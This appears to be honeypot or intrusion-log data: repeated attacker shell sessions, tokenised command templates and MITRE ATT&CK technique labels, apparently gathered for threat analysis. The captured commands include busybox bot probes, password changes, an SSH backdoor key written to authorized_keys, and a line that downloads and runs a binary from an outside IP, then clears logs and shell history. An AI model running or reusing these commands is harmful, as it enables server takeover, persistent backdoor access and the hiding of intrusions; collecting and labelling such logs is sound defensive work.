('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MNAAD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox EIWCM


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TKDHD

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox XBVOF


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox OTDAQ


('cat | grep | wc -l', 'echo | chpasswd | bash', 'echo >', 'rm', 'cat | head -n', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'echo >', 'rm')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1070 Indicator Removal
T1005 Data from Local System
T1082 System Information Discovery
T1005 Data from Local System
T1059 Command and Scripting Interpreter
T1083 File and Directory Discovery
T1053 Scheduled Task/Job
T1087 Account Discovery
T1082 System Information Discovery
T1057 Process Discovery
T1087 Account Discovery
T1082 System Information Discovery
T1070 Indicator Removal


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox FZPVQ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cat /proc/cpuinfo | grep name | wc -l | head -c 30

('cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'cat | grep | wc -l | head -c')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox POVXI


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZHNSE


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox RTDFM


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AXTAO

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MEIRK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MMPKF


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox YFQVV


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox AAEGC


cd /tmp && chmod +x ePxJOVoq && bash -c ./ePxJOVoq

('scp', 'cd && chmod +x && bash -c ./', './ePxJOVoq')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://107.152.39.162/bins/x86; curl -O http://107.152.39.162/bins/x86;cat x86 >awoo;chmod +x *;./awoo Zeus.AutoRoot; >/var/log/lastlog; >/var/log/wtmp; >/var/log/btmp; history -c

('cd || cd || cd || cd || cd ; wget ; curl -O ; cat > ; chmod +x ; ./ ; > ; > ; > ; history -c',)


('cat | grep | wc -l', 'echo -e [ ] | passwd | bash', 'Enter', 'echo [ ] | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }')

T1082 System Information Discovery
T1098 Account Manipulation
T1059 Command and Scripting Interpreter
T1082 System Information Discovery


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox CSADD


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'

('start', 'enable', 'config', 'system', 'linuxshell', 'su', 'shell', 'sh', 'cd || cd || cd || cd || cd || cd ; /bin/busybox echo -ne', '/bin/busybox wget ; /bin/busybox echo -ne', 'cd || cd || cd || cd || cd || cd ; rm -rf ; wget ; curl -O ; /bin/busybox wget ; chmod || ( cp ; cat > ; rm ; cp ; rm ) ; ./ ; echo -e')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GNCSJ

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox', 'rm ; exit')


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IDHSO


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ACLYC


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox ZCJJD

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox LJZYW


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'echo | passwd')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox WREVA

('enable', 'system', 'shell', 'sh', 'cat ; /bin/busybox', 'cd ; cat || cp ; /bin/busybox', 'tftp ; wget ; /bin/busybox', 'dd if || cat || while ; do echo $i ; done <', '/bin/busybox')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox GQIWK


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IJIPN


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox SCSRZ


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox IMFJL


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo -e | passwd | bash', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox JHYZD


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KGNPC


cd /tmp || cd /var/ || cd /var/run || cd /mnt || cd /root || cd /;/bin/busybox echo -ne '\x45\x4c\x46'

/bin/busybox wget;/bin/busybox echo -ne '\x45\x4c\x46'


cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'

cat /proc/cpuinfo | grep model | grep name | wc -l

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox MMZZG


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox QIHST


cat /proc/cpuinfo | grep name | cut -f2 -d: | uniq -c; nvidia-smi --list-gpus | grep 0 | cut -f2 -d: | uniq -c

('cat | grep | cut -f2 -d: | uniq -c ; --list-gpus | grep | cut -f2 -d: | uniq -c',)


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo | chpasswd | bash', 'echo | chpasswd | bash')


('cat | grep | wc -l', 'echo | chpasswd | bash', 'cat | grep | head -n | awk { print $4,$5,$6,$7,$8,$9 ; }', 'free -m | grep | awk { print $2 $4, $5, $6, $7 }', 'ls -lh $ ( which ls )', 'which', 'crontab', 'w', 'uname', 'cat | grep | grep | wc -l', 'top', 'uname', 'uname', 'lscpu | grep', 'cd && rm -rf && mkdir && echo >> && chmod -R && cd', 'echo -e | passwd | bash', 'Enter', 'echo | passwd', 'echo | chpasswd | bash')


cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox PHCBG

dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s